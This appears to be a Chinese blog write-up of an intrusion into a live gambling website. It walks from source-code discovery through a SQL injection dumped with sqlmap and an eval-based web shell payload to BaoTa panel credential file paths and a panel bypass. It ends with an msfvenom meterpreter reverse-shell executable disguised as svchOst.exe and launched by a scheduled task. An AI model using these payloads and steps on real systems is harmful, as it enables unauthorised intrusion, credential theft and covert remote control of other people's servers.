一次BC站點的GetShell過程
0x00 前言
bc實戰代碼審計拿下后臺、數據庫續這篇文章作者并沒有成功GetShell,依稀記得以前遇到一個類似的站點,故打算再續前緣,最終成功拿下目標Shell權限
0x01 獲取源碼
首先先常規掃一波目錄:
dirsearch -u 'http://x.x.x.x:80/' -e php
并沒有發現有源碼壓縮包,故放棄這個思路,重新審視文章,獲取關鍵字,去github進行搜索,成功找到部分源碼,然后開始進行審計。

Github:

0x02 進入后臺
通過之前的掃描,可以獲取到后臺登陸地址。

訪問可以看到登陸頁面。

沒有驗證么,果斷上一波常規的弱口令FUZZ,無果。那么只能通過源碼進行突破了,首先觀察網站的后臺鑒權邏輯主要是通過包含common/login_check.php進行判斷。

@session_start(); //后臺登陸驗證
if(!isset($_SESSION["adminid"])){
unset($_SESSION["adminid"]);
unset($_SESSION["login_pwd"]);
unset($_SESSION["quanxian"]);
echo "alert('login!!pass');";
exit;
}else{
include_once("../../include/mysqlio.php");
那么最直接的思路,就是找到一個沒有包含這個文件的地方。
find ./ -name "*.php" |xargs grep -L "login_check.php"
找到文件Get_Odds_1.php, 發現其中的$type參數直接拼接進SQL語句中,存在注入。

正常情況:

輸入單引號,出錯:

SQLMAP 跑出賬號密碼,,這里雖然是GET類型的SQL注入,但是直接使用sqlmap的-u參數是不行的,需要使用Burp抓包,保存數據包然后用-r參數。
sqlmap -r sql.txt -D dsncly -T sys_admin --dump

0x03 GetShell
進入后臺,先嘗試黑盒,看看有沒有上傳功能,不過似乎沒有找到可用的上傳點。

黑盒沒找到很明顯的辦法了,只能進行快速代碼審計了,直接全局搜索危險函數eval、file_put_contens、fwrite、fputs等。

可以看到這里寫入的文件是php文件,且內容可以通過ta_msg參數進行控制,也沒有過濾,只有簡單的去除兩邊的空格,這里務必要自己本地進行構造下,避免出現閉合失敗的錯誤。
構造payload:
');eval($_POST[a]);var_dump(md5(1));//;
最終寫入到文件gp_db.php

成功GetShell

0x04 寶塔提權
通過phpinfo,可以看到disable_function,同時通過nmap掃描端口,可知目標存在寶塔。
不過幸運的是,shell的權限還是蠻高的,可以瀏覽到寶塔的目錄。

獲取密碼:D:/BtSoft1/panel/data/default.pl 開放端口:D:/BtSoft1/panel/data/port.pl 后臺地址:D:/BtSoft1/panel/data/admin_path.pl 獲取賬號:D:/BtSoft1/panel/data/default.db
通過上面步驟獲取到的賬號和密碼,登陸到后臺http://xxxx:8888/Tajl2eP0/

登陸進去之后會彈出強制綁定窗口,可以通過直接訪問/site來繞過這個。
下面有兩種思路進行提權:
1) 通過軟件管理->已安裝,刪除禁用函數,來實現命令執行。


2) 通過寶塔自帶的計劃任務。
MSF生成木馬
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv -f exe > svchOst.exe
放到C盤即可,然后添加shell計劃任務

ipconfig /all 查看網絡狀態

簡單查看下arp -a和掃描下內網網段的存活情況,并沒有連通,故沒有繼續后續的內網滲透測試。
0x05 總結
本文的滲透過程比較常規,涵蓋了從0到1的完整單目標滲透過程,核心在于快速的代碼審計能力,由于這個系統開發比較凌亂,所以故不能采用框架的方式去閱讀,故采用危險函數定位是一種有效的方法,最后通過利用寶塔的信息,成功獲取到最高的權限,完成滲透測試的目標。